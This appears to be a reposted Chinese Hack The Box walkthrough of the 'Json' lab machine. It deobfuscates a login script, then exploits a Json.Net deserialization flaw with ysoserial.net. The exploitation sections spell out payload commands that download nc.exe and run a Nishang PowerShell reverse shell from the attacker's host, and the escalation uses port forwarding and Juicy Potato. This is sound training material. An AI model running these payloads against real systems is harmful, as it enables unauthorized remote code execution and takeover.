zoukankan      html  css  js  c++  java
  • Hack The Box——Json

    目录

    简介

    信息收集

    漏洞发现

    漏洞利用

    获取用户Shell

    权限提升

    获取ftp admin权限

    溢出提权/内核漏洞提权

    DLL注入提权

    滥用权限提权

    总结


    简介

    这是一个非常好的靶机,按照渗透测试一般流程去渗透就可以了,只是需要细心和有耐心。从端口扫描到使用BurpSuite测试提交的数据,然后分析可能的漏洞,验证漏洞是否确实存在,接着利用漏洞获取普通权限的Shell,最后提升权限获取root.txt的内容。每一步都没有考验脑洞,是个练习渗透测试的好靶机。

    信息收集

    使用nmap -A -sC 10.10.10.158扫描目标主机,如图:

    发现开启21,80,135,139,445等端口,且操作系统基本断定是Windows Server 2012了,尝试常见的ftp弱口令,未果,扫描共享的文件夹,如图:

    使用dirbuster扫描web目录,如图:

    然后查看/js/app.min.js文件,如图:

    使用Python编写format.py程序提高js文件可读性:

    #!/usr/bin/python3
    
    l = ["x70x72x69x6Ex63x69x70x61x6Cx43x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x24x68x74x74x70", "x24x73x63x6Fx70x65", "x24x63x6Fx6Fx6Bx69x65x73", "x4Fx41x75x74x68x32", "x67x65x74", "x55x73x65x72x4Ex61x6Dx65", "x4Ex61x6Dx65", "x64x61x74x61", "x72x65x6Dx6Fx76x65", "x68x72x65x66", "x6Cx6Fx63x61x74x69x6Fx6E", "x6Cx6Fx67x69x6Ex2Ex68x74x6Dx6C", "x74x68x65x6E", "x2Fx61x70x69x2Fx41x63x63x6Fx75x6Ex74x2F", "x63x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x6Cx6Fx67x69x6Ex43x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x63x72x65x64x65x6Ex74x69x61x6Cx73", "", "x65x72x72x6Fx72", "x69x6Ex64x65x78x2Ex68x74x6Dx6C", "x6Cx6Fx67x69x6E", "x6Dx65x73x73x61x67x65", "x49x6Ex76x61x6Cx69x64x20x43x72x65x64x65x6Ex74x69x61x6Cx73x2E", "x73x68x6Fx77", "x6Cx6Fx67", "x2Fx61x70x69x2Fx74x6Fx6Bx65x6E", "x70x6Fx73x74", "x6Ax73x6Fx6E", "x6Ex67x43x6Fx6Fx6Bx69x65x73", "x6Dx6Fx64x75x6Cx65"]
    js='var _0xd18f = ["x70x72x69x6Ex63x69x70x61x6Cx43x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x24x68x74x74x70", "x24x73x63x6Fx70x65", "x24x63x6Fx6Fx6Bx69x65x73", "x4Fx41x75x74x68x32", "x67x65x74", "x55x73x65x72x4Ex61x6Dx65", "x4Ex61x6Dx65", "x64x61x74x61", "x72x65x6Dx6Fx76x65", "x68x72x65x66", "x6Cx6Fx63x61x74x69x6Fx6E", "x6Cx6Fx67x69x6Ex2Ex68x74x6Dx6C", "x74x68x65x6E", "x2Fx61x70x69x2Fx41x63x63x6Fx75x6Ex74x2F", "x63x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x6Cx6Fx67x69x6Ex43x6Fx6Ex74x72x6Fx6Cx6Cx65x72", "x63x72x65x64x65x6Ex74x69x61x6Cx73", "", "x65x72x72x6Fx72", "x69x6Ex64x65x78x2Ex68x74x6Dx6C", "x6Cx6Fx67x69x6E", "x6Dx65x73x73x61x67x65", "x49x6Ex76x61x6Cx69x64x20x43x72x65x64x65x6Ex74x69x61x6Cx73x2E", "x73x68x6Fx77", "x6Cx6Fx67", "x2Fx61x70x69x2Fx74x6Fx6Bx65x6E", "x70x6Fx73x74", "x6Ax73x6Fx6E", "x6Ex67x43x6Fx6Fx6Bx69x65x73", "x6Dx6Fx64x75x6Cx65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "x42x65x61x72x65x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])'
    
    for i in range(len(l)):
        l[i]="%s" % l[i]
        js=js.replace('_0xd18f['+str(i)+']',l[i])
    print(js)

    运行程序,并将输出结果复制到JavaScript格式化工具,格式化之后如下:

    var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", 
    "data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", 
    "credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", 
    "post", "json", "ngCookies", "module"];
    angular[module](json, [ngCookies])[controller](loginController, [$http, $scope, $cookies, function (_0x30f6x1, 
    _0x30f6x2, _0x30f6x3) 
    {
        _0x30f6x2[credentials] = {
            UserName : , Password : 
        };
        _0x30f6x2[error] = {
            message : , show : false 
        };
        var _0x30f6x4 = _0x30f6x3[get](OAuth2);
        if (_0x30f6x4) {
            window[location][href] = index.html ;
        };
        _0x30f6x2[login] = function () 
        {
            _0x30f6x1[post](/api/token, _0x30f6x2[credentials])[then](function (_0x30f6x5) 
            {
                window[location][href] = index.html ;
            },
            function (_0x30f6x6) 
            {
                _0x30f6x2[error][message] = Invalid Credentials.;
                _0x30f6x2[error][show] = true;
                console[log](_0x30f6x6) 
            }) 
        }
    }])[controller](principalController, [$http, $scope, $cookies, function (_0x30f6x1, _0x30f6x2, _0x30f6x3) 
    {
        var _0x30f6x4 = _0x30f6x3[get](OAuth2);
        if (_0x30f6x4) 
        {
            _0x30f6x1[get](/api/Account / , {
                headers : {
                    "Bearer" : _0x30f6x4 
                }
            })[then](function (_0x30f6x5) 
            {
                _0x30f6x2[UserName] = _0x30f6x5[data][Name] ;
            },
            function (_0x30f6x6) 
            {
                _0x30f6x3[remove](OAuth2);
                window[location][href] = login.html ;
            }) 
        }
        else {
            window[location][href] = login.html ;
        }
    }])

    然而并没什么有价值的发现,仅仅是对HTTP请求做的一些处理,使用浏览器访问80端口,页面短暂停留后跳转到登录页面,尝试admin/admin发现成功登录,如图:

    发现一个搜索框,尝试搜索发现完全没有反应,点击页面中的按钮也都不可用,在页面底部发现一段话,如图:

    搜索Bootstrap 4发现只存在XSS漏洞,利用XSS也无法获取到Shell,且没找到相关教程。

    漏洞发现

    使用Nmap自带的脚本扫描445端口是否存在已知的严重漏洞,如图:

    但是445端口不存在已知漏洞,然后删除网页Cookie信息,开启Burp Suite,重新登录,拦截数据包,如图:

    发现用户名和密码以明文方式通过json格式提交到/api/token,从Hack The Box主机名Json可看出应该是通过json获取shell。使用Base64 解码HTTP响应中的OAuth2,如图:

    包含了用户ID,用户名,密码hash值,Name和角色信息,Forward之后又出现一个获取/api/Account/的请求,然后发送到Repeater模块Send之后,如图:

    HTTP请求头中包含刚刚提交到/api/token返回的OAuth2和Bearer参数(数据相同),且Send之后返回的数据为Base64解码的结果。然后将HTTP请求发送到Intruder模块,使用模糊测试字典对参数进行测试,如图:

    Start之后,Status出现大量500,查看HTTP响应,如图:

    显示发生错误,原因是base64格式不正确,然后查看HTTP请求,如图:

    然后尝试是否存在java反序列化漏洞,使用工具ysoserial .net生成Josn.Net数据(ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.14.68/nc.exe  -o nc.exe"),检查生成的数据无误后添加-o base64选项生成base64编码的数据,如图:

    然后替换HTTP请求中Bearer参数的值,然后Send,如图:

    返回的json数据和之前模糊测试返回的不同,查看http服务,如图:

    这说明命令没有执行或者是系统不存在curl.exe又或者被禁用了,然后尝试使用wget也是同样的结果,当使用certutil时,如图:

    可见,目标主机存在.NET反序列化漏洞(也可以叫远程命令执行漏洞),命令成功执行了,且目标主机禁用或不存在curl.exe和wget.exe程序。

    漏洞利用

    • 获取用户Shell

    1、重新执行命令将nc.exe下载到C:WindowsTemp下,然后使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "C:windows emp c.exe 10.10.14.68 4444 -e cmd.exe" -o base64生成Json数据,在Burp Suite中替换Bearer参数的值,Send之后成功获取shell,如图:

    2、也可以使用Nishang的powershell脚本获取shell,将powershell脚本下载到本地web目录,并赋予读、写和执行的权限,使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -w hidden -noni -nop -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.68/powershell.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.68 -Port 4444""  -o base64生成base64编码的数据,然后直接替换HTTP请求头中的数据,提交即可,如图:

    权限提升

    • 获取ftp admin权限

    现在要做的就是提升到SYSTEM权限,回想到信息收集的时候开了很多端口,其中21端口运行着FileZilla ftp服务,这里应该可以提权,然后查看文件夹,寻找FileZilla文件夹,如图:

    在C:Program Files(x86)下发现FileZilla Server文件夹,然后查看文件夹中的内容,查看FileZilla Server.xml,如图:

    可以发现ftp管理端口在14147监听,用户名为superadmin,密码的哈希值和盐值,尝试破解密码没成功。使用netstat -ano查看端口信息,如图:

    发现14147正在监听,且只允许本地访问,但是未开启3389端口(无法粘滞键呼出cmd.exe,故无法利用FileZilla+Shift粘滞键提权)。但可以读取的superadmin目录下的文件(肯定包含root.txt),因此需要将14147端口转发到本地。将lcx.exe等端口转发工具上传到目标主机,然后在本机执行lcx.exe -listen 9999 8888将本地9999端口转发到8888,然后在目标主机执行lcx.exe -slave 10.10.14.68 9999 127.0.0.1 14147将目标主机14147端口转发到本地9999端口,如图:

    然后使用FileZilla Server(需要安装到本地主机)连接本地8888端口,如图:

    连接成功后,如图:

    然后点击上图红框图标编辑用户配置,如图:

    修改密码,然后就可以访问ftp://10.10.10.158,使用刚刚修改的密码登录,然后就可以获取到root.txt了。但是从CTF角度来讲我们成功获取到了flag,但是从渗透测试角度来讲,这才刚刚开始(没获取到NT AUTHORITYSYSTEM总觉得没结束)。

    • 溢出提权/内核漏洞提权

    使用systeminfo命令查看系统信息,及安装的补丁信息,如图:

    发现操作系统是确实是Windows Server 2012 R2,且是64位,未安装任何补丁程序。将结果复制到Windows在线提权EXP辅助网站,如图:

    然而,一一尝试之后并未能成功提权。 

    • DLL注入提权

    使用msfvenom生成反弹shell的serv.dll文件,如图:

    然后使用之前获取的PowerShell(cmd shell执行powershell脚本不大方便)将serv.dll文件和PowerSploit中的Invoke-DllInjection.ps1上传到目标服务器,同时在本机开启888端口的监听,如图:

    使用get-process命令查看运行的进程及PID,如图:

    很遗憾,权限有点低,无法获取到具有SYSTEM权限的进程信息。尝试执行进程注入,如图:

     未获取到返回的Shell。

    • 滥用权限提权

    查看当前用户的权限,如图:

    可以看到用户开启了SeImpersonatePrivilege,这说明可以使用Juicy Potato进行提权。将JuicyPotato.exe文件上传到目标主机并重命名为jp.exe,然后用批处理写一个反弹shell的脚本命名为reverse.bat,然后在JuicyPotato项目的CLSID文件夹中寻找和目标主机相匹配的CLSID尝试提权,如图:

    很幸运,第二个就成功了,然后在本地监听8888端口的终端成功获得反弹回的SYSTEM权限的Shell,如图:

    总结

    本文记录了对Hack The Box::Json主机渗透测试的完整流程。总体来说对这个主机的渗透还是比较容易的,只是在提权的时候不能用内核漏洞和DLL注入提权成功,DLL注入提权未成功应该是因为在命令行下无法查看到SYSTEM权限的进程,如果开启远程桌面应该会比较容易吧,渗透测试过程还是比较顺利的。

  • 相关阅读:
    sizeof和strlen区别
    Reverse Words in a String
    删除字符串中重复的字符
    Reverse String
    数组中一个数字出现的次数超过了数组长度的一半,请找出这个数
    输出数组中大于等于左边所有数且小于等于右边所有数的元素
    java获取数据库里表的名字
    [转]C++编写Config类读取配置文件
    c# App.Config详解
    pitch yaw roll是什么
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302361.html
Copyright © 2011-2022 走看看